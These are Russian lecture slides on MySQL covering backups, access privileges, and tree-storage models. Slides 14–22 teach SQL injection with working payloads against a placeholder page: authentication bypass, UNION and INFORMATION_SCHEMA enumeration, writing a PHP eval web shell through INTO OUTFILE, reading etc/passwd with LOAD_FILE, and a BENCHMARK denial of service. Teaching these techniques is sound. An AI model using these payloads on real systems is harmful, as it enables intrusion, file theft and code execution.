Документ посвящен резервному копированию и восстановлению данных в MySQL, рассматривая как логические, так и физические копии. Упоминаются важные аспекты настройки резервного копирования, включая обработку данных, параметры конфигурации и привилегии доступа. Также обсуждаются уязвимости, связанные с SQL-инъекциями и методы работы с иерархическими структурами данных.

1. СУБД
Лекция 9
Павел Щербинин

2. Резервное копирование:
Зачем?
Восстановление после аварии
Человек передумал
Аудит
Тестирование

3. Резервное копирование:
Логические резервные копии
• Это обычные файлы, которые можно обрабатывать с помощью
стандартных текстовых редакторов
• Из них легко восстанавливать данные. Достаточно просто
подать файл по конвейеру на вход программы mysql или
воспользоваться программой mysqlimport.
• Резервное копирование и возврат данных можно выполнять по
сети, то есть не на той же машине, где работает сервер MySQL.
• Процедуру можно очень гибко настраивать
• Они не зависят от подсистемы хранения.
• Они могут помочь избежать повреждения данных

4. Резервное копирование:
Логические резервные копии
• Для их генерации требуется работа сервера, так что процессор
загружается сильнее.
• В некоторых случаях логические копии оказываются объемнее
исходных физических файлов. Зачастую логические копии
хорошо поддаются сжатию, но для этого нужно
дополнительное процессорное время.
• Потеря точности в представлении чисел с плавающей точкой
может помешать правильному восстановлению данных из
файлов дампа.
• Для восстановления данных из логической копии необходимо
загружать и интерпретировать команды и перестраивать
индексы, что возлагает на сервер еще больше работы.

5. Резервное копирование:
Физические резервные копии
• Для получения физической копии нужно просто скопировать
требуемые файлы в другое место. Никакой дополнительной
работы для их генерации выполнять не придется.
• Трудоемкость возврата данных из физической копии может
быть проще и зависит от подсистемы хранения. В случае
MyISAM достаточно просто скопировать файлы в исходное
место
• Физические копии можно переносить между платформами,
операционными системами и версиями MySQL.
• Восстановление с физических копий может оказаться быстрее,
потому что серверу не нужно выполнять SQL-команды и
строить индексы. При наличии таблиц InnoDB, которые не
помещаются целиком в память сервера, восстановление
данных из физических файлов может быть гораздо быстрее.

6. Резервное копирование:
Физические резервные копии
• Объем физических файлов InnoDB, как правило, гораздо
больше соответствующих логических копий. Обычно в
табличном пространстве InnoDB очень много неиспользуемого
места. К тому же какое-то пространство отведено под цели, не
связанные с хранением табличных данных (буфер вставки,
сегмент отката и т. д.).
• Не всегда физическую копию можно перенести на другую
платформу, операционную систему или версию MySQL. В
частности, препятствием может стать чувствительность к
регистру букв и формат чисел с плавающей точкой. Перенос
файлов в систему с другим форматом чисел с плавающей
точкой вообще невозможен.

7. Что копировать?
Неочевидные данные
Не забудьте о данных, которые не бросаются в глаза, например:
двоичные журналы и журналы транзакций InnoDB.
Код
В частности, триггеры и хранимые процедуры.
Конфигурация репликации
Для восстановления сервера, участвующего в репликации,
следует включать в резервную копию все необходимые для
репликации файлы.
Конфигурация сервера
Если потребуется восстановить данные после настоящей
катастрофы.
Отдельные файлы операционной системы
На UNIX-сервере это могут быть таблицы cron, конфигурация
пользователей и групп и правила sudo.

8. Терминология
Аутентификация
Кто вы такой?
Авторизация
Что вам разрешено делать?
Контроль доступа
Какие данные вам разрешено видеть и/или изменять?
Привилегии и разрешения
Способ представления в MySQL права доступа.
Объектные привилегии разрешают доступ к конкретным
объектам.
Глобальные привилегии позволяют что-то делать с самим
сервером

9. Таблицы доступа
user
В каждой строке хранятся учетные данные пользователя (имя,
местоположение и зашифрованный пароль) и его глобальные привилегии.
db
В каждой строке хранятся привилегии уровня базы данных для одного
пользователя.
host
В каждой строке хранятся привилегии доступа к одной базе данных для
пользователя, подключающегося из заданного местоположения.
tables_priv
В каждой строке хранятся привилегии доступа одного пользователя к одной
таблице.
columns_priv
В каждой строке хранятся привилегии доступа одного пользователя к одному
столбцу.
procs_priv
В каждой строке представлены привилегии доступа одного пользователя к
одной хранимой подпрограмме (процедуре или функции).

10. Таблицы доступа

11. Привелегии
GRANT [privileges] ON [objects] TO [user];
GRANT [privileges] ON [objects] TO [user] IDENTIFIED BY [password];
REVOKE [privileges] ON [objects] FROM [user];

12. Виды записей
Учетная запись системного администратора
GRANT ALL PRIVILEGES ON *.* TO root@localhost IDENTIFIED BY
p4ssword WITH GRANT OPTION;
Учетные записи администраторов базы данных(АБД)
GRANT ALL PRIVILEGES ON *.* TO john@localhost IDENTIFIED BY
p4ssword WITH GRANT OPTION;
Учетные записи для сотрудников
GRANT INSERT,UPDATE PRIVILEGES ON widgets.orders TO
tera@%.widgets.example.com IDENTIFIED BY p4ssword;
Доступ только для протоколирования
GRANT INSERT ON logs.* TO logger@%.widgets.example.com
IDENTIFIED BY
Резервное копирование
GRANT SELECT, LOCK TABLES, FILE ON *.* TO backup@localhost
IDENTIFIED BY p4ssword;
Эксплуатация и мониторинг
GRANT PROCESS, SHUTDOWN on *.* TO
noc@monitorserver.noc.widgets.example.com IDENTIFIED BY
p4ssword;

13. Отзыв привилегий
GRANT SELECT ON *.* TO user;
REVOKE SELECT ON sakila.film FROM user;
ERROR 1147 (42000): There is no such grant
defined for user
user on host % on table film
REVOKE ALL PRIVILEGES ON...;
DROP USER ;

14. SQL-injection
Строковой входящий параметр
http://xxx/news.php?id=1
SELECT * FROM news WHERE id='$id‘
http://xxx/news.php?id=1’
SELECT * FROM news WHERE id='1''
mysql_query(): You have an error in your SQL
syntax check the manual that corresponds to
your MySQL server version for the right syntax
to use near '1''
http://xxx/news.php?id=1’ --
SELECT * FROM news WHERE id='1' -- '

15. SQL-injection
Авторизация
SELECT * FROM users WHERE login='$login' AND
pass='$pass'
SELECT * FROM users WHERE login='Admin' -- ' AND
pass='123'
SELECT * FROM users WHERE login='Admin' AND pass='123'
OR login='Admin' -- '
SELECT * FROM users WHERE (login='Admin' AND pass='123')
OR (login='Admin')

16. SQL-injection
Оператор LIKE
SELECT * FROM users WHERE login LIKE 'Admin'
AND pass LIKE '123'
SELECT * FROM users WHERE login LIKE 'Admin'
AND pass LIKE '%'

17. SQL-injection
Команда UNION
SELECT * FROM news WHERE id='1' UNION SELECT 1 --
mysql_query(): The used SELECT statements have a
different number of columns
http://xxx/news.php?id=1' UNION SELECT 1, 2 --
Ошибка. «The used SELECT statements have a different number of
columns»
http://xxx/news.php?id=1' UNION SELECT 1,2,3 --
Опять ошибка.
http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 --
О! Отобразилось точно также как и http://xxx/news.php?id=1

18. SQL-injection
Команда GROUP BY/ORDER BY
http://xxx/news.php?id=1' GROUP BY 2 --
http://xxx/news.php?id=1' GROUP BY 10 –
mysql_query(): Unknown column '10' in 'group statement'
http://xxx/news.php?id=1' GROUP BY 5 –
http://xxx/news.php?id=1' GROUP BY 7 –
mysql_query(): Unknown column '7' in 'group statement'
http://xxx/news.php?id=1' GROUP BY 6 --

19. SQL-injection
INFORMATION_SCHEMA
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6
FROM INFORMATION_SCHEMA.TABLES --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6
FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1 --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,
COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’Users’ LIMIT 0,1 --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,
COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='Users' LIMIT 1,1 --

20. SQL-injection
INFORMATION_SCHEMA
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6
FROM INFORMATION_SCHEMA.TABLES --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6
FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1 --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,
COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’Users’ LIMIT 0,1 --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,
COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='Users' LIMIT 1,1 --

21. SQL-injection
Работа с файлами
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE
'1.txt' --
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<?php
eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php' --
http://xxx/news.php?id=-1' UNION SELECT
1,2,LOAD_FILE('etc/passwd'),4,5,6

22. SQL-injection
DOS ататка
SELECT BENCHMARK(100000,md5(current_time))
SELECT
BENCHMARK(100000,BENCHMARK(100000,md5(current_time)))
http://xxx/news.php?id=-1' UNION SELECT 1, 2,
BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4,
5, 6 --

23. Список смежных вершин
(Adjacency List)

24. Список смежных вершин
(Adjacency List)
Главный недостаток такого подхода — необходимо достоверно знать
количество уровней вложенности в вашей иерархии, кроме того, чем больше
иерархия, тем больше JOIN'ов — тем ниже производительность.
Тем не менее, данный способ обладает и существенными достоинствами — в
дерево легко вносить изменения, менять местами и удалять узлы.
Данный алгоритм хорошо применим, если вы оперируете с небольшими
древовидными структурами, которые часто поддаются изменениям.
С другой стороны, этот алгоритм также довольно уверенно себя чувствует и с
большими деревьями, если считывать их порциями вида «знаю родителя —
прочитать всех наследников». Хороший пример такого случая — динамически
подгружаемые деревья.
Однако он плохо применим, когда нужно вычитывать какие-либо иные куски
дерева, находить пути, предыдущие и следующие узлы при обходе и
вычитывать ветки дерева целиком (на всю глубину).

25. Вложенное множество
(Nested Set)

26. Вложенное множество
(Nested Set)
Вывод — Nested Set действительно хорош, когда нам необходимо считывать
структуру деревьев из БД. При этом он одинаково хорош для деревьев
любого объема.
Тем не менее, для иерархических структур, которые подвергаются частому
изменению он, очевидно, не будет являться оптимальным выбором.

27. Материализованный путь
(Materialized Path)

28. Материализованный путь
(Materialized Path)
Во-первых, по сравнению с Nested Set, он более поддается изменениям. В то
же время остается достаточно удобным для выборки деревьев целиком и их
частей. Но, и он не идеален. Особенно по части поиска предков ветки.
Использование именно этого алгоритма может быть заметно удобнее, для
деревьев, над которыми часто выполняются как операции чтения, так и
изменения.
Алгоритм довольно уверенно себя чувствует на достаточно больших объемах
данных.
Наиболее неприятной в данном алгоритме будет операция вставки узла в
середину уже существующей структуры и перенос одной ветки в другую.
А вот удаление, добавление в конец или изменение узла — это операции
довольно простые, и, как правило, не вызывают сложностей в данной
модели.

29. Комбинированный подход
По сути вопроса следует отметить, что скомбинировать приведенные методы
можно лишь в двух направлениях:
• Списки смежности + материализованный путь (Adjacency List +
Materialized Path)
• Списки смежности + вложенные множества (Adjacency List + Nested Set)
Комбинировать же Nested Set и Materialized Path особого смысла не имеет,
т.к. существенного выигрыша ни в чтении, ни в записи вы не получите.

30. AL+MP
Для AL при использовании с MP:
• Улучшаются операции выборки ветвей и поддеревьев
целиком
• Ухудшаются операции переноса ветвей
Для MP при использовании с AL:
• Улучшаются операции выборки наследников заданного
узла
• Улучшаются операции выборки родителей заданного узла

31. AL+NS
Для связки AL+NS взаимовыгодность не столь очевидна.
В первую очередь это объясняется тем, что недостатки от
проблем изменения узлов дерева в модели NS напрочь убивают
в этой сфере все достоинства AL.
Это значит, что такую связку следует рассматривать лишь как
качественное улучшение поиска родителей и наследников
заданного узла в алгоритме NS, а также как повышение
надежности самого алгоритма (ключи можно всегда
перестроить в случае порчи — информацию о связях хранит AL).
Но ведь и это качественное улучшение, хотя и не такое
очевидное.

32. Спасибо за внимание
Павел Щербинин
p.scherbinin@corp.mail.ru